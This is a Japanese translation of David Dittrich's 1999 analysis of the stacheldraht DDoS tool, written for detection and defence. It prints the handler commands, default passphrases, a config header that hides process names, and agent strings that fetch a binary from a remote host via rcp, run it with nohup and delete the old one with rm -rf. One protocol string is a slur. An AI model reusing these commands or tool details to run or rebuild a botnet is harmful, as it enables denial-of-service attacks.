訳者注:この文章はアメリカを騒がせている使用不能攻撃の(おそらく)原因となっているツールの一つ、stacheldrahtの動作についてのレ ポートです。緊急につきご注意いただきたく公開することにしました。翻訳の精度についてはご容赦下さい。また、文中意味が通らない部分やおかしいな?とい う部分は原 文をあたって下さい。そういう類の誤りすべての文責はもちろん訳者にありますことをお断りしておきます誤り等ご指摘頂けると幸いです。宛先はvp5m−snd@asahi−net.or.jpです。
(なお、作者のDavid Dittrich氏の許可を得て公開しております。Special thanks to Mr. David Dittrich.

●Security INDEXへ

★TOP INDEXへ


2/29:JPCERTから防衛対策、やられた場合の対処などのガイドラインがリリースされてま す。報道などによればWindowsプラットフォームで動くものも発見されたらしいですが、そんな戦々恐々Windowsユーザーのために、トレンドマイ クロが検出ツールを無料配布して いるそうです。
2/25:Bennett Todd氏のDDOS Whitepaper翻訳がWeb公開さ れてます(ラック坂井氏による翻訳)。ここにアクセスするには証明書が必要ですが(笑)。
2/22:SecurityFocusにて公 開されているtrinoo、TFN、そしてstacheldrahtの検出プログラム と防御用プログラムのリンクを追加し、訳文を少々修正しました。
なお、検出プログラムは
FBI特製 Find Distributed Denial of Service (find_ddos) 3.0 (Intel)
FBI特製 Find Distributed Denial of Service (find_ddos) 3.0 (Sparc)

防御用プログラムは

NT向け Zombie Zapper (Windows NT)

とのことです。
その他、

Remote Intrusion Detector - RID

という防御用プログラムもあるとのことです。
また、PacketStormより10 Proposed 'first-aid' security measures against Distributed Denial Of Service attacksという勧告が、Ciscoより Strategies to Protect Against Distributed Denial of Service (DDoS) Attacks という文書が発表されています。(和訳・・・してません。ごめんなさい(汗))
他にはDragos Ruiu氏によるDDOS Proposalという文書がラッ ク柳岡氏により和訳されています。また、Bennett Todd氏のDDOS Whitepaperの翻訳も近々にWeb化されるとのことです(ラック坂井氏による翻訳)。
2/12:
新たにリリースされたstacheldraht Ver.4との違いを、作者David Dittrich氏が調べてBugtraq にポストしました。


Last Updated 2/22 Ver.1.2

stacheldraht=サービス不能攻撃ツール

David Dittrich <dittrich@cac.washington.edu>
University of Washington
Copyright 1999. All rights reserved.
December 29, 1999

序文

以下はstacheldrahtの分析である。stacheldrahtとはTribeFlood Networkが作成・発表したサービス不能攻撃ツールのソースコードに基づいて作成された、サービス不能攻撃ツールである。(作者注:この分析に出てく る被害例、サイト名やIPアドレスは事実とは異なっています)

stacheldrahtは(ドイツ語で「逆棘があるワイア」)、オリジナルのTFNツールにもあるサービス不能攻撃ツールtrinooに、攻撃者 と、stacheldrahtのマスターおよび自動的にアップデートされるエージェントとの間の暗号化通信機能を付加したものだ。

trinooとTFNについての詳細情報は以下のサイトを参照のこと:

http://staff.washington.edu/dittrich/misc/trinoo.analysis
http://staff.washington.edu/dittrich/misc/tfn.analysis

1999年の6月後半から7月初旬にかけて、いくつかのグループがtrinooをインストールしテストしていたが、その結果2000以上の入り組ん だシステムから成るネットワークを中規模から大規模のサービス不能攻撃が襲った。そうした一連の攻撃は、全世界のシステムを巻き込み、そして全世界を標的 としてしまった。

1999年8月後半から9月初旬、世間の注目はtrinooから、そのオリジナルコードだと推定される、Mixter作成のTFNへと移行しはじめ た。そして1999年9月後半から10月初旬、「stacheldraht」として知られるTFNのエージェントに非常によく似たプログラムが、ヨーロッ パやアメリカの各システムで出現し始めた。

これらの攻撃についてはCERTが事件(番号99-04)としてリリースしている:

http://www.cert.org/incident_notes/IN-99-04.html

trinooと同様、stacheldrahtもマスター(ハンドラー)かつdaemon、または「bcast」(エージェント)として作られてい る。ハンドラー/エージェントという専門用語は1999年11月のCERTのDistributedSystemIntruderTools(ばら撒き型 システム侵入ツール)ワークショップで用いられ始めたもので、本分析でもstacheldrahtが定義した用語の代わりに用いることにする。CERTの ワークショップレポートはぜひ一読いただきたい:

http://www.cert.org/reports/dsit_workshop.pdf

stacheldrahtは、1999年12月にリリースされたMixterのTFNの新バージョン、TribeFloodNetwork2000 (TFN2K)と機能的に競合する部分がいくつかある。TFN2Kについての詳細は:

http://packetstorm.securify.com/distributed/
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html

trinooのハンドラー/エージェント機能の方向性に沿って、stacheldrahtもまたICMPflood,SYNflood, UDPfloodや「Smurf」型攻撃によって、ばらまかれた先のネットワークをサービス不能に追い込む機能を併せ持っている。ただオリジナルのTFN とTFN2Kとは異なり、stacheldrahtのコードを分析した結果によれば「オン・デマンド」のTCPポートに専従のrootシェルを含んでいな い(1999年中頃にMixterによって公開された初期TFNコードの分析による)。

TFNの弱点の1つに、攻撃者が標的ネットワークをコントロールするマスター(複数も可)に接続する際に、クリアテキストのフォームになってしまう ので、代表的なTCPの攻撃(セッション・ハイジャック、RST切断、その他)にさらされてしまう可能性がある、というものがある。 Stacheldrahtはそれに対し、「(Stacheldraht用語で)telnet同等の」暗号化クライアントを追加して対応している。

Stacheldrahtのエージェントは元とたどると数多くのSolaris2.xでそのバイナリが見つかっている。Solaris2.xは RPCのサービス「statd」や「cmsd」や「ttdbserved」に、バッファオーバーランのバグによるセキュリティホールが見つかったおかげで 評判を落としてしまったが、それらのバグはこの分析を書いた後もいまだに野放し状態で見られる。(訳者注:00年1月以降多発した官公庁も同じセキュリ ティホールでやられた?という話もある)

バグトラックで1999年12月にtrinooとTribeFloodNetworkの分析を掲載した後、他の団体の事件調査員が盗まれたアカウン トのファイルキャッシュから得たstacheldrahtのソースコードを供給してくれた。(この調査員に感謝したい。そしてこういうことが発生すること を容認してくれるオープンなフォーラムを開いてくれているSecurityFocusの人々にも同じく感謝したい)この分析はそのキャプチャーしたソース コード(ソースによればバージョン1.1、1999年8月15日から1999年10月17日の間に修正されている)を使って行っている。

Makefile群にはLinuxとSolaris用のルールがあり、デフォルトはLinuxになっている(Linux上ではあんまりちゃんと動か ないにもかかわらず)。この分析を行うために、全てのプログラムはRedHat6.0Linuxでコンパイルされ、動作させた。わたしの憶えている限りで は、エージェントはSolaris2.xシステムでしか発見されていない。

trinooとTribeFloodNetworkに関する分析において、ひとつだけ明確に述べていないことがあった。それは、読者諸氏の視点に 依って定義づけられる「犠牲者」と「攻撃者」によって、2つのフェイズから成るサービス不能攻撃が行われる、ということだ。

侵入フェイズはサービス不能攻撃フェイズの後のフェイズである。サービス不能攻撃フェイズの中で、攻撃用ネットワークのハンドラーとエージェントを 入れ込まれた結果屈従させられてしまったシステムは、複数サイトへの重く、かつ大規模なサービス不能攻撃を実行させられていた。そういう意味で第二の犠牲 者(サービス不能攻撃の)と言えよう。

(初期の侵入とネットワークセットアップのフェイズで用いられる方法については、trinooネットワークの分析=AppendixAを 参照のこと)

ソースコードに修正が入ると、この分析の細部=プロンプトやパスワード、コマンド、TCP/UDPのポート番号、またはサポートされている攻撃手 法、シグニチャ、機能などに変更がある可能性がある、かもしれないということを憶えておいてほしい。

攻撃用ネットワーク:クライアント-->ハンドラー-->エージェント-->犠牲者

stacheldrahtネットワークは1つかあるいはそれ以上のハンドラープログラム(mserv.c)と、エージェントの大きなセット (leaf/td.c)で形成される。攻撃者は「telnetもどき」の暗号化プログラムを使い、ハンドラー(telnetc/client.c)に接続 して通信する。stacheldrahtネットワークはこんな風だ:

                   +--------+             +--------+
| client | | client |
+--------+ +--------+
| |
. . . --+------+---------------+------+----------------+--. . .
| | |
| | |
+-----------+ +-----------+ +-----------+
| handler | | handler | | handler |
+-----------+ +-----------+ +-----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+--. . .
| | | | |
| | | | |
+-------+ +-------+ +-------+ +-------+ +-------+
| agent | | agent | | agent | | agent | | agent |
+-------+ +-------+ +-------+ +-------+ +-------+

攻撃者は1つあるいは複数の暗号化クライアントを持つハンドラーをコントロールする。各ハンドラーは多くのエージェントをコントロールできる。 (mserv.cの内部の制限値は1000エージェントだ。なぜ1000という数が選ばれたのかは分からないが、コードは「1000ソケットはleet0 だ」ということだ(訳者意味不明))エージェントはすべて、1つあるいは複数の犠牲者に対し、ハンドラーを経由してパケットベースの攻撃を順序立てて行う べく構成される(コードのmserverかmaster serverを参照のこと)。

通信

クライアントからハンドラーへの通信:16660/tcp
ハンドラーからエージェントへの/エージェントからハンドラーへの通信:65000/tcp,ICMP ECHO_REPLY

trinooはハンドラーとエージェント間の通信にUDPを使い、オリジナルのTribeFloodNetworkはICMPを使用するが、 stacheldrahtはTCPを使っている。

stacheldrahtネットワークの遠隔操作は、操作する自分自身とハンドラーとの間の通信に対称キー暗号化を使う単純なクライアントを使って 実行される。クライアントは1つの引数=接続したいハンドラーのアドレスを持つ。接続にはTCPポート(コードを分析したところデフォルトは 16660/TCP)が使われる。

攻撃者は以下のような画面表示を見ることになる(変更しないそのままのパスワードを用いた場合):

---------------------------------------------------------------------------
# ./client 192.168.0.1
[*] stacheldraht [*]
(c) in 1999 by ...

trying to connect...
connection established.
--------------------------------------
enter the passphrase : sicken
--------------------------------------
entering interactive session.
******************************
welcome to stacheldraht
******************************
type .help if you are lame

stacheldraht(status: a!1 d!0)>
---------------------------------------------------------------------------

プロンプトには動いていると思われるエージェント数(a!)と死んでいると思われるエージェント数(d!)が同時に表示されている。コマンド 「.help」を使うと(このあとの議論のために、われわれは無知であると仮定しましょう!)サポートしているコマンドセットを表示する:

---------------------------------------------------------------------------
stacheldraht(status: a!1 d!0)>.help
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
--------------------------------------------------
stacheldraht(status: a!1 d!0)>
---------------------------------------------------------------------------

コマンド

.distrouserserver
エージェントをインストールして、システム「サーバー」に対してBerkeley「rcp」コマンドとアカウント「user」を使ったやり方で(例えば "rcpuser@server:linux.bin ttymon")自分自身を新たにコピーする方法を教示する。

.help
サポートされているコマンドリストを表示する。

.killall
全ての動作中エージェントをkillする。

.maddip1[:ip2[:ipN]]
攻撃対象リストにIPアドレスを追加する。

.mdie
全てのエージェントにdieリクエストを送る。

.mdos
DoS攻撃を開始する。

.micmpip1[:ip2[:ipN]]
ICMPflood攻撃を指定ホストに対して開始する。

.mlist
その瞬間にDoS攻撃をされているホストのIPアドレスリストを表示する。

.mping
生きてるかどうか確認のためにすべてのエージェントにpingする(bcasts)。

.msadd
アクセスできるサーバーのリストに新しいマスターサーバー(ハンドラー)を追加する。

.msort
死んでいる/生きているエージェント(bcasts)をソートする。(pingを送り、死んでいる/生きているエージェントの数/パーセンテージを表示す る)

.mstopip1[:ip2[:ipN]]
.mstopall

指定したIPアドレスのホスト、もしくはすべてのホストへの攻撃を停止する。

.msrem
アクセスできるサーバーのリストからマスターサーバー(ハンドラー)を削除する。

.msynip1[:ip2[:ipN]]
SYNflood攻撃を指定したホストに対して開始する。

.mtimerseconds
攻撃し続ける時間のタイマーを設定する。(値はチェックされない)

.mudpip1[:ip2[:ipN]]
UDPflood攻撃を指定したホストに対して開始する。
(TrinooDoSエミュレーションモード)

.setisize
flooding用ICMPパケットのサイズを設定する。(最大=1024、デフォルト=1024)

.setusize
flooding用UDPパケットのサイズを設定する。(最大=1024、デフォルト=1024)

.showalive
全ての生きているエージェント(bcasts)を表示する。

.showdead
全ての死んでいるエージェント(bcasts)を表示する。

.sprangelowport-highport
SYNflood攻撃のポートの範囲を設定する。(デフォルトは0-140)

パスワード防御

クライアントプログラムを使用してハンドラーに接続したら、攻撃者はパスワード入力を要求される。このパスワード(デフォルトは「sicken」) は、標準的なcrypt()暗号化パスワードで、ネットワーク経由ハンドラーに送られる前にパスフレーズ 「authentication」によってBlowfish暗号化される(エージェントとハンドラー間の通信すべては、このパスフレーズによって Blowfish暗号化される)。

TFNと同じく、Cのマクロ(config.h)にはコマンド高速化に使用される値や、プログラム名隠蔽の変数(HIDEME,HIDEKIDS) が定義されている。

---------------------------------------------------------------------------
#ifndef _CONFIG_H

/* user defined values for the teletubby flood network */

#define HIDEME "(kswapd)"
#define HIDEKIDS "httpd"
#define CHILDS 10

/* These are like passwords, you might want to change them */

#define ID_SHELL 1 /* to bind a rootshell */

#define ID_ADDR 699 /* ip add request for the flood server */

#define ID_SETPRANGE 2007 /* set port range for synflood */
#define ID_SETUSIZE 2006 /* set udp size */
#define ID_SETISIZE 2005 /* set icmp size */
#define ID_TIMESET 2004 /* set the flood time */
#define ID_DIEREQ 2003 /* shutdown request of the masterserver */
#define ID_DISTROIT 2002 /* distro request of the master server */
#define ID_REMMSERVER 2001 /* remove added masterserver */
#define ID_ADDMSERVER 2000 /* add new masterserver request */
#define SPOOF_REPLY 1000 /* spoof test reply of the master server
#define ID_TEST 668 /* test of the master server */
#define ID_ICMP 1055 /* to icmp flood */
#define ID_SENDUDP 2 /* to udp flood */
#define ID_SENDSYN 3 /* to syn flood */
#define ID_SYNPORT 4 /* to set port */
#define ID_STOPIT 5 /* to stop flooding */
#define ID_SWITCH 6 /* to switch spoofing mode */
#define ID_ACK 7 /* for replies to the client */

#define _CONFIG_H
#endif
---------------------------------------------------------------------------

ご覧のように、どんな値が用いられているか知っていることが原因で誰かが誤ってエージェントを重複利用してしまって、結果として誤った人にもエー ジェントでコマンドを実行させてしまうような事態を避けるために、各値を(デフォルトから)変更することが望まれている。

指紋

trinooやTribeFloodNetworkと同様に、ハンドラー/エージェントのインストールに使われている方法は、一般的なUnixシス テムでのプログラムインストールで、プログラムとファイルを隠蔽するすべての標準的なオプション(例:隠しディレクトリの使用、「rootキット」、カー ネルモジュール、その他)と全く同じである。

trinooやTFNと異なるstacheldrahtの機能に、オンデマントのエージェントアップグレードがある。この機能はBerkeleyのrcpコ マンド(514/tcp)を使っていて、いくつかのサイトでキャッシュとして盗まれたアカウントを使っていることが判明している。オンデマンドで全ての エージェントは現在動いているプログラムイメージを削除し、外に出てあるサイト/アカウントからrcpを使って新しいコピー を落としてきて、nohupで新しいイメージを起動して、それでexitする。

ファイルシステム上でそのプログラムを特定するために、ある種の(編集不可)識別文字列がある。

文字列は暗号化クライアント(client)に以下のように組み込まれる:

------------------------------------------------------------------------------
. . .
connection closed.
usage: ./sclient <ip/host>
[*] stacheldraht [*]
(c) in 1999 by ...
trying to connect...
unable to resolv %s
unable to connect.
connection established.
--------------------------------------
enter the passphrase :
authentication
failed
authentication failed.
entering interactive session.
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
. . .
------------------------------------------------------------------------------

文字列はハンドラー(mserv)に以下のように組み込まれる:

------------------------------------------------------------------------------
. . .
%d.%d.%d.%d
jbQ4yQaKLbFZc
* mtimer reached *
.quit
exiting...
you need to stop the packet action first.
.help
.version
[*]stacheldraht[*] mserver version: 1.1
setusize
setisize
mdos
mping
mudp
micmp
msyn
mstop
mtimer
madd
mlist
msort
msadd
msrem
distro
sprange
killall
showdead
showalive
add some bcasts mofo.
killing all active childs...
usage: .sprange <lowport-highport>
example: .sprange 0-140
low port is : %i
high port is : %i
request was sent to the network.
usage: .setusize <udp packet size (<=1024)>
current udp packet size is %ibytes
udp packet size was set to %i bytes.
udp packet size is too large.
usage: .setisize <icmp packet size (<=1024)>
current icmp packet size is %ibytes
icmp packet size was set to %i bytes.
icmp packet size is too large.
sending mass die request...
finished.
.mudp
starting trinoo emulation...
removing useful commands.
- DONE -
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
usage: .distro <user> <server that runs rcp>
remember : the distro files need to be executable!
that means: chmod +x linux.bin , chmod +x sol.bin ;))
sending distro request to all bcasts....
user : %s
rcp server :
unable to resolve - %s
unable to send distro request.
request was sent, wait some minutes ;)
usage: .msrem <masterserver>
removing masterserver -
failed.
usage: .msadd <masterserver>
adding masterserver -
no packet action at the moment, sir.
the followings ip(s) are getting packeted...
--------------------------------------------
[*] stacheldraht [*] is packeting %d ips
[*] stacheldraht [*] is packeting 1 ip
.mstop all
deleting from packetlist...
%s - removed.
%s - skipped.
restarting packeting routines...
niggahbitch
usage: .madd <ip1:ip2:ip3:ip4>
adding to packetlist...
%s - added.
usage: .mtimer <seconds to packet>
packet timer was set to %d seconds
usage: .mstop <all> or <ip1:ip2:ip3:ip4:ip5 etc..>
packeting stopped.
usage: .msyn <ip1:ip2:ip3:ip4:ip5 etc..>
the net is already packeting.
mass syn flooding
%i floodrequests were sent to %i bcasts.
usage: .micmp <ip1:ip2:ip3:ip4:ip5 etc..>
mass icmp bombing
usage: .mudp <ip1:ip2:ip3:ip4:ip5 etc..>
mass udp bombing
tR1n00(status: a!%i d!%i)>
stacheldraht(status: a!%i d!%i)>
waiting for ping replies...
total bcasts : %d - 100%
alive bcasts : 0 - 0%
alive bcasts : %d - %d%
dead bcasts : %d - %d%
showing the alive bcasts...
---------------------------
alive bcasts: %i
showing the dead bcasts...
--------------------------
dead bcasts: %i
sorting out all the dead bcasts
-------------------------------
%d dead bcasts were sorted out.
bcasts
[*]-stacheldraht-[*] - forking in the background...
%i bcasts were successfully read in.
3.3.3.3
spoofworks
ficken
authentication
failed
******************************
welcome to stacheldraht
type .help if you are lame
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
[0;35mTribe Flood Network (c) 1999 by
[5mMixter
. . .
------------------------------------------------------------------------------

文字列はエージェント(td)に以下のように組み込まれる:

------------------------------------------------------------------------------
. . .
%d.%d.%d.%d
ICMP
Error sending syn packet.
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
ttymon
rm -rf %s
rcp %s@%s:linux.bin %s
nohup ./%s
1.1.1.1
127.0.0.1
lpsched
no masterserver config found.
using default ones.
available servers: %i - working servers : 0
[*] stacheldraht [*] installation failed.
found a working [*] stacheldraht [*] masterserver.
masterserver is gone, looking for a new one
sicken
in.telne
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
. . .
------------------------------------------------------------------------------

各エージェントが起動したとき、どのハンドラーが自分をコントロールしているのか学習するためにマスターサーバーのコンフィグレーションファイルを 読みに行く。このファイルはIPアドレスのリストで、パスフレーズ「randomsucks」を使ってBlowfish暗号化されている。コンフィグレー ションファイルが見つからなかった場合は、コンパイル時に組み込まれた1つあるいは複数のハンドラーのデフォルトIPアドレスを使う(上記のとおりそれは 1.1.1.1と127.0.0.1。もちろん任意に変更可能である)。

エージェントは可能性があるハンドラーのリストをひとたび決定したら、そのハンドラーリストの最初から、IDフィールドに666、データフィールド に「skillz」という文字列を埋めてICMP ECHO_REPLYパケットをひとつ送る。マスターがこのパケットを受け取った場合は、IDフィールドに667、データフィールドに「ficken」と いう文字列を埋めてECHO_REPLYパケットをひとつ送り返す。(ここで気を付けねばならないのは、ハンドラーとエージェントの間でやりとりされるパ ケットは、例えば1000超バイトの大きなパケットになってしまうようなバグがあるということだ。ハンドラーとエージェントは定期的にこの 666|skillz/667|fickenのパケットを送ったり送られたりしている。ということはこれらのICMPパケットをモニターしていればエー ジェント/マスターを検出できるということだ)

sniffitでの盗聴結果を見てみよう(TFN分析用に修正済みのsniffitを使っている)。各パケットの盗聴結果だ:

------------------------------------------------------------------------------
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
45 E 00 . 04 . 14 . 01 . 0F . 00 . 00 . 40 @ 01 . E9 . 53 S 0A . 00 . 00 . 01 .
C0 . A6 . 00 . 01 . 00 . 00 . B4 . 13 . 02 . 9A . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
73 s 6B k 69 i 6C l 6C l 7A z 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
. . . [60 lines of zeros deleted]
00 . 00 . 00 . 00 .

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo reply
45 E 00 . 04 . 14 . 04 . F8 . 00 . 00 . 40 @ 01 . E5 . 6A j C0 . A6 . 00 . 01 .
0A . 00 . 00 . 01 . 00 . 00 . CE . 21 ! 02 . 9B . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
66 f 69 i 63 c 6B k 65 e 6E n 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
. . . [60 lines of zeros deleted]
00 . 00 . 00 . 00 .
------------------------------------------------------------------------------

ngrepを使って見てみよう:

------------------------------------------------------------------------------
# ngrep -x "*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 10.0.0.1 -> 192.168.0.1 0:0
02 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 73 6b 69 6c 6c 7a 00 00 ........skillz..
[ 61 lines of zeroes deleted ]
00 00 00 00 00 00 00 00 00 00 00 00 ............
#
I 192.168.0.1 -> 10.0.0.1 0:0
02 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 66 69 63 6b 65 6e 00 00 ........ficken..
[ 61 lines of zeroes deleted ]
00 00 00 00 00 00 00 00 00 00 00 00 ............
#
------------------------------------------------------------------------------

ngrepはtcpdumpやtcpshowよりも使いやすくて出力もわかりやすいが、それほど多くのシステムで使えない(例えば、Digital Unix 4.xの現バージョン(これを書いた時点では1.35))。

さらに、動作中のハンドラーを検出するために、エージェントは先行するソースアドレスをexitするようなパケットを許すかどうかを試す。 ID666で、データフィールドがエージェントシステム(ホスト名を得て、それをIPアドレスとして解釈できた場合にのみ)のIPアドレスのICMP ECHO_REPLYパケットを送ってテストする。(この特別なパケットは、普通は0が設定されているサービスタイプフィールドにも7が設定されている、 ということも併せて書いておく)

マスターがこのパケットを受信したら、ID1000でデータフィールドに「spoofworks」と入ったECHO_REPLYパケットにそのIP アドレスを埋め込んで応答する。そしてエージェントがこのパケットを受信したら、spoof_levelを0に設定する(IPアドレスの32ビット全てを 盗聴できるモード)。spoof応答パケットを受け取る前にタイムアウトしてしまった場合は、spoof_levelを3に設定する(IPアドレスの最後 8ビットを盗聴できるモード)。

各パケットの盗聴結果は以下の通り(この分析のためにパッチ当てされたtcpdumpやtcpshowによって見た結果である):

------------------------------------------------------------------------------
# tcpdump icmp
. . .
14:15:35.151061 3.3.3.3 > 192.168.0.1: icmp: echo request [tos 0x7]
14:15:35.177216 192.168.0.1 > 10.0.0.1: icmp: echo reply
. . .

# ngrep -x "*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 3.3.3.3 -> 192.168.0.1 8:0
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 31 30 2e 30 2e 30 2e 31 ........10.0.0.1
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 ........
#
I 192.168.0.1 -> 10.0.0.1 0:0
03 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 73 70 6f 6f 66 77 6f 72 ........spoofwor
6b 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ks..............
[ 60 lines of zeroes deleted ]
00 00 00 00 00 00 00 00 00 00 00 00 ............
#
------------------------------------------------------------------------------

また、IDフィールドに669、データフィールドに「sicken\n」という文字列が入ったICMP ECHO_REPLYパケットを送って行うIDテストも実行するコードがある。このコードはハンドラーがICMP ECHO_REPLYパケットをIDフィールドに668を入れて送った場合に動作する。「gag」というプログラム(AppendixA参照)を使えば stacheldrahtエージェントを綿密に調べられるだろう。以下は盗聴結果(AppendixCのようにパッチ当てされた tcpdumpやtcpshowによって見たもの):

------------------------------------------------------------------------------
# ngrep -x "*" icmp
interface: eth0 (0.0.0.0/0.0.0.0)
filter: ip and ( icmp )
Kernel filter, protocol ALL, raw packet socket
match: *
#
I 10.0.0.2 -> 198.162.0.1 0:0
02 9c 00 00 67 65 73 75 6e 64 68 65 69 74 21 ....gesundheit!
#
I 198.162.0.1 -> 10.0.0.2 0:0
02 9d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 73 69 63 6b 65 6e 0a 00 ........sicken..
[ 61 lines of zeroes deleted ]
00 00 00 00 00 00 00 00 00 00 00 00 ............
------------------------------------------------------------------------------

スクリプト「gag」はこういう風に使う。まず最初に、怪しげなシステムを全てリストアップする(例えば、nmapでOSのスキャンを実行し、 SolarisとLinuxシステムを全て検出するか、あるいはただ単に全てのネットワークをスキャンして動作している(コンピュータの)IPアドレスを 検出する)。あとで使うために、可能性がありそうな応答をすべてキャプチャーするためtcpdumpを起動しておく。そこでgagを起動し、IPアドレス のリストをチェックさせる。

------------------------------------------------------------------------------
# tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
# ./gag -v iplist
sending packet [668/"gesundheit!"] to 192.168.0.1
sending packet [668/"gesundheit!"] to 192.168.0.30
sending packet [668/"gesundheit!"] to 192.168.1.2
sending packet [668/"gesundheit!"] to 192.168.1.5
sending packet [668/"gesundheit!"] to 192.168.2.10
sending packet [668/"gesundheit!"] to 192.168.3.6
. . .
------------------------------------------------------------------------------

IDが699であるICMP ECHO_REPLYパケットを返しているシステムのリストを見てみよう:

------------------------------------------------------------------------------
# tcpdump -r stach.dump
tcpdump: Filtering in user process
15:27:57.520094 192.168.0.1 > 10.0.0.1: icmp: echo reply (DF)
15:28:01.984660 192.168.2.10 > 10.0.0.1: icmp: echo reply (DF)
------------------------------------------------------------------------------

さらに文字列「sicken\n」を含むパケットを見てみよう:

------------------------------------------------------------------------------
# tcpshow < stach.dump | egrep "Source IP|sicken"
tcpdump: Filtering in user process
Source IP Address: 198.162.0.1
....................sicken
Source IP Address: 192.168.2.10
....................sicken
------------------------------------------------------------------------------

(もっと気の利いたやり方がある。たとえば強靱で機能満載なlibnetを使ったCプログラムを書いてみるとか(AppendixBを 参照のこと)。でもY2Kイブまでに気が利くほどの時間は残されていない。ちぇっ。結局汚れ仕事が似合いかあ。でもやってみたら3つの生きてるエージェン トを見つけたぞ)

文字列「skillz」「spoofworks」「sicken」「niggahbitch」「ficken」(みんなICMPのデータセグメント に入っているものだが)は暗号化されていないので、ICMP ECHO_REPLYのデータ部分に入っているのが見える。IDの値666、667、668、669、1000も同じく上記の方法でパケット内認証に使わ れる。

stacheldrahtハンドラーは、子プロセスによってコマンドをハンドルし、かつICMPパケットをlistenさせるが、lsofが入って いるシステムではこんな風に見える:

------------------------------------------------------------------------------
# lsof -c mserv
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
mserv 1072 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1072 root rtd DIR 3,3 1024 2 /
mserv 1072 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1072 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1072 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1072 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1072 root 0u CHR 136,4 6 /dev/pts/4
mserv 1072 root 1u CHR 136,4 6 /dev/pts/4
mserv 1072 root 2u CHR 136,4 6 /dev/pts/4
mserv 1072 root 3u sock 0,0 2143 can't identify protocol
mserv 1073 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1073 root rtd DIR 3,3 1024 2 /
mserv 1073 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1073 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1073 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1073 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1073 root 0u CHR 136,4 6 /dev/pts/4
mserv 1073 root 1u CHR 136,4 6 /dev/pts/4
mserv 1073 root 2u CHR 136,4 6 /dev/pts/4
mserv 1073 root 3u inet 2144 TCP *:16660 (LISTEN)
mserv 1088 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1088 root rtd DIR 3,3 1024 2 /
mserv 1088 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1088 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1088 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1088 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1088 root 0u CHR 136,4 6 /dev/pts/4
mserv 1088 root 1u CHR 136,4 6 /dev/pts/4
mserv 1088 root 2u CHR 136,4 6 /dev/pts/4
mserv 1088 root 3r FIFO 0,0 2227 pipe
mserv 1088 root 5w FIFO 0,0 2227 pipe
mserv 1091 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1091 root rtd DIR 3,3 1024 2 /
mserv 1091 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1091 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1091 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1091 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1091 root 0u CHR 136,4 6 /dev/pts/4
mserv 1091 root 1u CHR 136,4 6 /dev/pts/4
